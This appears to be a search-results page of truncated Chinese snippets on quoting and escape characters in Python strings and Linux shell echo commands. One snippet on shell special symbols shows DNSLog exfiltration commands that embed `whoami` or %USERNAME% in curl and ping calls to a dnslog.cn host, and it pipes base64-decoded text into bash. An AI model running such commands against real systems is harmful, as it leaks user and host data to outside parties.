文章目录 一、Python 字符串定义形式 二、字符串中包含 单引号 / 双引号 一、Python 字符串定义形式 ---- Python 字符串定义形式 : 单引号定义法 : name = 'Tom...单引号 / 双引号 ---- 如果定义一个字符串 , 其中 包含 单引号 / 双引号 ; 单引号定义的字符串 可以包含 双引号 ; 双引号定义的字符串 可以包含 单引号 ; 使用 转义字符 \ 解除...单引号 或 双引号 的作用 , 使其变为普通字符 ; 代码示例 : 第一个示例中 , 在单引号中包含了双引号 ; 第二个示例中 , 在双引号中包含了单引号 ; 第三个示例中 , 在双引号中使用 转义字符...解除了 内部双引号效用 ; # 字符串中包含 单引号 / 双引号 # 单引号定义的字符串 可以包含 双引号 name = '"Tom" is 18 years old' print(name) #...双引号定义的字符串 可以包含 单引号 name = "'Tom' is 18 years old" print(name) # 使用 转义字符 \ 解除 单引号 或 双引号 的作用 name = "\
有一定的Linux命令基础,熟练掌握80个命令以上 shell和其他脚本语言不同,如python,Shell缺少可以直接使用的外部函数库,因此Linux系统的命令就可以当做Shell的函数库!...一个简单的Shell脚本 清除/var/log下的messages日志文件 把所有命令放入一个文件,堆积起来后就是一个脚本文件!...,仅在当前shell有效 环境变量 所有的程序,shell程序都能访问环境变量 shell变量 特殊变量 既有环境变量 又有局部变量 字符串 字符串可以用单引号,也可以双引号,也可以没引号 [root@...oldboy_python ~ 11:42:42]#addr='shahe' [root@oldboy_python ~ 11:44:55]#echo $addr shahe 单引号的任何字符串都会原样输出...,单引号字符串中的变量无效 单引号字符串不能出现单一的单引号,转义符也不可用,可用作字符串拼接 双引号 双引号里可以用变量 双引号可以有转义符 [root@oldboy_python ~ 11:45:01
echo 命令是 Linux 中最基本和最常用的命令之一。 传递给 echo 的参数被打印到标准输出中。 echo 通常用于 shell 脚本中,用于显示消息或输出其他命令的结果。...echo 命令 echo 是 Bash 和其他大多数流行的 shell,如 Zsh 和 Ksh 中的一个 shell 内置程序。 它的行为在不同的 shell 中略有不同。...命令 虽然没有必要,但是将传递给的参数包含起来是一个很好的编程实践双引号或单引号 当使用单引号时'' 将保留引号内每个字符的字面值。...若要打印双引号,请将其包含在单引号内,或用反斜杠字符进行转义。...- Ygritte 模式匹配字符。 echo 命令可以与模式匹配字符一起使用,比如通配符。 例如,下面的命令将返回所有。 工作目录中的 php 文件。
另一个解释型语言,执行时,需要使用解释器一行一行地转换为代码,如:awk, perl, python与shell等。...Shell中的替换 转义符: 在echo中可以用于的转义符有: image 使用 echo 命令的 –E 选项禁止转义,默认也是不转义的; 使用 –n 选项可以禁止插入换行符; 使用 echo...命令的 –e 选项可以对转义字符进行替换。...image Shell中的字符串 单引号的限制: 单引号里的任何字符都会原样输出,单引号字符串中的变量是无效的; 单引号字串中不能出现单引号(对单引号使用转义符后也不行)。...双引号的优点: 双引号里可以有变量 双引号里可以出现转义字符 拼接字符串: country="China" echo "hello, $country" #也可以 echo "hello, "$country
那么这里我们就需要用到转义符了。 shell提供转义符有三种。 字符 说明 ‘’(单引号) 又叫硬转义,其内部所有的shell 元字符、通配符都会被关掉。...注意,硬转义中不允许出现’(单引号)。...“”(双引号) 又叫软转义,其内部只允许出现特定的shell 元字符:$用于参数代换 `用于命令代替 \(反斜杠) 又叫转义,去除其后紧跟的元字符或通配符的特殊意义。...也就是说,双引号 只经过参数扩展、命令代换和算术代换就可以送入执行步骤,而单引号转义符直接会被送入执行步骤。...而且,无论是双引号转义符还是单引号转义符在执行的时候能够告诉各个命令自身内部是一体的,但是其本身在执行时是并不是命令中文本的一部分。
匹配任意1个字符,有且只有一个字符 [abcd] 匹配abcd中任何一个字符,abcd也可是其他任意不连续字符 [a-z] 匹配中a到z之间的任意一个字符, a到z表示范围,字符前后要连续...代表上一级目录 Linux特殊符号:引用字符串命令相关 '' 单引号,所见即所得,即输出单引号内容时会将单引号内的所有内容都原样输出,或者描述为单引号里面看到的是什么就会输出什么,被称之为强引用..."" 双引号,输出双引号内的所有内容时;如果内容中有命令(要反引下)、变量、特殊转义符等,会先把变量、命令、转义字符解析出结果,然后在输出最终内容来,推荐使用,被称为弱引用 空...而在输出内容时,会将含有空格的字符串视为一个整体输出,如果内容中有命令(要反引下)、变量等,会先把变量、命令解析出结果,然后输出最终内容,如果字符串中带有空格等特殊字符,则有可能无法完整的输出,因此需要改加双引号...,一般连续的字符串、数字、路径等可以不加任何引号赋值和输出,不过无引号的情况最好用双引号替代之,特别是变量赋值时 `` 反引号,一般用于引用命令,执行的时候命令会被执行
(-5+4j)和(2.3-4.6j)是复数的例子 字符串 使用单引号(') 你可以用单引号指示字符串,就如同'Quote me on this'这样。所有的空白,即空格和制表符都照原样保留。...使用双引号(") 在双引号中的字符串与单引号中的字符串的使用完全相同,例如"What's your name?"。 使用三引号('''或""") 利用三引号,你可以指示一个多行的字符串。...He said "Bond, James Bond." ''' 转义符 假设你想要在一个字符串中包含一个单引号('),那么你该怎么指示这个字符串?...另一个表示这个特别的字符串的方法是"What's your name?",即用双引号。类似地,要在双引号字符串中使用双引号本身的时候,也可以借助于转义符。...自然字符串 如果你想要指示某些不需要如转义符那样的特别处理的字符串,那么你需要指定一个自然字符串。自然字符串通过给字符串加上前缀r或R来指定。
使用的语法是在字符串前面加上前缀u 在Python3中,所有的字符串都是Unicode字符串 字符串的表示方式 在python中,字符串有4中表示方式: >>> >>> #单引号 >>> A='Hello...双引号、单引号避免使用转义字符。...当字符串中含有引号(如单引号)时,使用与该引号不同(如双引号)包含字符串可以直接使用该引号而不需进行字符转义: >>> >>> #使用转义字符的例子: >>> print('I\'am learning...Python" 但是如果你使用三引号,那就不用使用连行符了,直接写吧: s = """I'am learning Python"""" 过长字符串的表示 除了上面所说的使用三单引号或三双引号以及连行符...Unicode名称 取消转义字符的作用——原始字符串 在字符串前使用r前缀,能够使字符串中的转义字符失去转义作用而直接作为字符串输出。
运行shell时,会同时存在三种变量: 1) 局部变量 局部变量在脚本或命令中定义,仅在当前shell实例中有效, 其他shell启动的程序不能访问局部变量。...定义字符串: 单引号 str='this is a string' 单引号字符串的限制: 单引号里的任何字符都会原样输出,单引号字符串中的变量是无效的; 单引号字串中不能出现单引号(对单引号使用转义符后也不行...双引号 your_name='qinjx' str="Hello, I know your are $your_name! " 双引号的优点: 双引号里可以有变量 双引号里可以出现转义字符 8....: 以上脚本中 "`" 是反引号,而不是单引号 "'",不要看错了哦。...使用@符号可以获取数组中的所有元素,例如: echo ${array[@]} 输出 q q wewe q 2)获取数组的长度 获取数组长度的方法与获取字符串长度的方法相同,例如: # 取得数组元素的个数
Linux命令6-echo、head、tail 本文中介绍的和文件管理的3个命令: echo head tail ?...echo echo命令有两个作用: 输出字符串 输出变量 输出字符串 普通输出字符串 单引号和双引号均可使用 echo "hello world" -- 双引号 echo 'hello world'...输出转义字符 输出转移字符: ? 最外层引号可以省略: ? 开启换行 echo -e "OK! \n" # -e开启转义 echo "It is a test" ? 不换行的写法 #!...输出变量 输出环境变量 echo $PATH -- 输出当前目录的环境变量 自定义变量 变量名和变量值之间不能有空格 单引号和双引号均有效 ?...总结 关于echo输出字符串中引号使用的总结: 能够引用变量 能否引用转移符 能否引用文本格式符(如:换行符、制表符) 单引号 否 否 否 双引号 能 能 能 无引号 能 能 否 head head
一 基本概念 1 字面意义上的常量,如2、‘This is ok'这样的字符串 >>> print('a,2,3') a,2,3 2 字符串 单引号(‘) 使用单引号指示字符串,类似shell中的强引用...备注:注意单引号和双引号的混合使用 双引号(“) 在双引号中的字符串与单引号中的字符串使用完全相同 >>> print("This is ok") This is ok 三引号(''') 利用三引号,可以指示一个多行的字符串...,可以在三引号中自由的使用单引号和双引号。...转义符 >>> 'what \'s your name' #在单引号中实现单引号的使用 "what 's your name" 或使用双引号 >>> "what'your name...在Python中有许多的内建函数,如len()。 函数通过def定义,示例如下: #!
双引号包围的内容可以允许变量扩展,也允许转义字符的存在。如果字符串内出现双引号本身,需要转义,因此不一定双引号是成对的。 ' 单引号(full quoting [single quote])。...单引号括住的内容,被视为单一字符串,引号内的禁止变量扩展,所有字符均作为字符本身处理(除单引号本身之外),单引号必须成对出现。 , 逗号(comma operator [comma])。 1....引用内容展开,执行单引号内的转义内容(单引号原本是原样引用的),这种方式会将引号内的一个或者多个[\]转义后的八进制,十六进制值展开到ASCII或Unicode字符。...如果字符串内出现双引号本身,需要转义,因此不一定双引号是成对的。 ' 单引号(full quoting [single quote])。...单引号括住的内容,被视为单一字符串,引号内的禁止变量扩展,所有字符均作为字符本身处理(除单引号本身之外),单引号必须成对出现。 , 逗号(comma operator [comma])。
讲解Invalid character escape '\o'在编程中,我们经常遇到需要在字符串中插入一些特殊字符的情况。对于某些字符,我们可以直接在字符串中使用它们,如'a'、'b'等。...下面是一个示例,展示了如何在Python中解决"Invalid character escape '\o'"的问题:pythonCopy code# 使用双反斜杠来解决无效字符转义问题invalid_string...在实际开发中,我们经常需要使用文件路径来进行文件操作,如读取、写入等。通过正确处理转义字符,我们可以避免由于无效的转义序列导致的错误,并确保正确地构建出文件路径。...\":双引号(Double Quote),用于在引号引起的字符串中表示双引号字符。\':单引号(Single Quote),用于在引号引起的字符串中表示单引号字符。...例如,在字符串中要表示双引号字符,我们可以使用转义字符\"将其转义,以避免与字符串的结束引号发生冲突。
豌豆贴心提醒,这是马哥Linux运维Python3急速入门系列第1篇文章 1.编码问题 默认情况下,Python 3源码文件以 UTF-8 编码,所有字符串都是 unicode 字符串。...也可以为源码文件指定不同的编码,在文件头部加上: 2.关键字 保留字即关键字,Python的标准库提供了一个keyword module,可以输出当前版本的所有关键字: 3.注释 Python中单行注释以...#开头,多行注释用三个单引号(''')或者三个双引号(""")将注释括起来。...字符串: python中的字符串str用单引号(' ')或双引号(" ")括起来,同时使用反斜杠(\)转义特殊字符 字符串可以使用 + 运算符串连接在一起,或者用 * 运算符重复 使用三引号('''.....python中没有单独的字符类型,一个字符就是长度为1的字符串 python字符串不能被改变。向一个索引位置赋值会导致错误 还可以对字符串进行切片,获取一段子串。
Linux 相同与差异 单引号和双引号 在写 Python 代码的时候,我习惯上是能写单引号的就不会使用双引号,这个习惯在写 shell 脚步的时候经常出现问题,其实这个问题我早就知道了,但是为了让自己加深印象...单引号属于强引用,它会忽略所有被引起来的字符的特殊处理,被引用起来的字符会被原封不动的使用 双引号属于弱引用,可以实现变量的替换和命令的替换 直接看代码: #!...,在有变量或者命令需要引号和执行的时候应该选用双引号。...` echo $var11 var22=$(echo \\$var) echo $var22 输出结果: python $var $var \python 结论:$() 中每一个转义字符就是转义字符的含义...,反引号中转义字符为一个时无意义,两个连续的转义字符可以起到一个转义字符的意义。
python输入单引号的两种方法Python字符串str对象中的单引号该如何输入,比如要输入英文:This\'s Python该怎么打出单引号?...这里介绍两种方法,如下:使用双引号定义Python字符串,然后将单引号包裹其中即可,当然,如果不嫌麻烦的话,也可以使用多行字符串,即连续六个的双引号来包裹,如"""......"""...,不可使用单引号包括单引号;使用Python的单引号转义字符 “\”来实现;Python输入单引号实例代码>>> x = "This's Python blog!"...>>> y = "使用转义字符\'来输出单引号">>> y"使用转义字符'来输出单引号">>> z = """这本是多行字符串,这里也可以直接输入单引号'...'""">>> z"这本是多行字符串,这里也可以直接输入单引号...原文:python单引号怎么打,两种输入方法免责声明:内容仅供参考。
,也可以使用双引号,也可以不使用引号 单引号和双引号的区别(不加引号和双引号相同) 单引号中的内容会原样输出,不会执行,不会取变量(即不会转义),即没有使用&符号取值 双引号中的内容可以执行,可以取变量...(不包括文件名) $*:由所有参数构成的用空格隔开的字符串,整体为字符串用双引号括起来 $@:每个参数分别用双引号括起来的字符串(@和*都是取所有的意思) $$:脚本当前运行的进程ID $?...,如:array=(1 abc “def” yxc) 也可以直接定义数组中某个元素的值,如:array[0]=1,array[1]=abc,array[2]=”def” 读取数组中某个元素的值 格式:$...:echo “"Hello acterminal"“注意只能使用双引号,单引号不能够转义 也可以省略最外面表示字符串的双引号:echo "Hello acterminal" 显示变量:注意一定要用双引号...显示结果到echo “Hello world” > output.txt 原样输出字符串,不进行转义或取变量:用单引号引起来 显示命令的执行结果:用`引起来 printf语句(c++中是以,隔开每一项
python中的单引号和双引号的区别 今天在码代码的过程中突然想到这个问题,于是上网浏览了一下,发现在python中两种表达方式是没有区别的,两种表达方式都可以用来表达一个字符串。...1.包含单引号的字符串 假如我们想定义一个字符串my_str,其值为:I’m a student,则可采用如下两种方式,通过转义字符“\”进行定义 my_str='I\'m a student' Jetbrains...全家桶1年46,售后保障稳定 也可以不使用转义字符,利用双引号直接进行定义 my_str="I'm a student" 2.包含双引号的字符串 假如我们要定义一个字符串my_str,其值为:Jason...my_str='Jason said "I like you"' 因此通过这种方式,在合适的场景下采用单引号,或者双引号,就可以非常有效的避免转义字符的使用,并且可以使代码看起来更加简洁清晰。...本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
否则命令2不会执行 mi 会执行whom 其他特殊符号 符号 作用 ' 单引号,在单引号中所有的特殊符号,如“$”和“`”(反引号)都无特殊含义 " 双引号,在双引号中特殊符号都无特殊含义,但“$”、...“`”(反引号)和“\”是例外,拥有“调用变量值”,“引用命令”和“转义符”的特殊含义 ` 反引号:反引号括起来的内容是系统命令,在Bash中先会执行它和() $() 和反引号作用相同,用来引用系统命令...# 在shell脚本中,#开头的行代表注释 $ 用于调用变量的值,如需要调用变量name的值时,需要用$name的方式得到 \ 转义符,跟在\之后的特殊字符将失去特殊含义,变为普通字符 ---- DNSLog...带出命令 Linux: curl http://`whoami`.uvlmxy.dnslog.cn ping `whoami`.uvlmxy.dnslog.cn Windows: ping %USERNAME...="|base64 -d` one hh nihao root@mon-one:~/tmp/tmp# echo "Y2F0IHRtcA=="|base64 -d|bash one hh nihao 单引号
我们现阶段学习的主要是bash dash. 2.什么是Shell脚本 命令、变量和流程控制语句等有机的结合起来 shell脚本擅长处理纯文本类型的数据,而linux中,几乎所有的配置文件,日志,都是纯文本类型文件...**注意:$用来获取变量,=前后不加空格 注意: 单引号字符串的限制:单引号里的任何字符都会原样输出,单引号字符串中的变量是无效的; 单引号字串中不能出现单独一个的单引号(对单引号使用转义符后也不行),...双引号里可以有变量,可以出现转义字符。 6.2.3 变量中引号的使用 只有在变量的值中有空格的时候,会使用引号。 单引号与双引号的区别在于,是否能够解析特殊符号。...CLSNAGE=22 #的写法 一般的变量定义、赋值常用双引号;简单连续的字符串可以不加引号;希望原样输出时使用单引号。...$# 获取当前执行的shell脚本后面接的参数的总个数 $* 获取当前shell的所有传参的参数,不加引号同加上双引号,例如: “$”,则表示将所有的参数视为单个字符串,相当于“112$3”。
领取专属 10元无门槛券
手把手带您无忧上云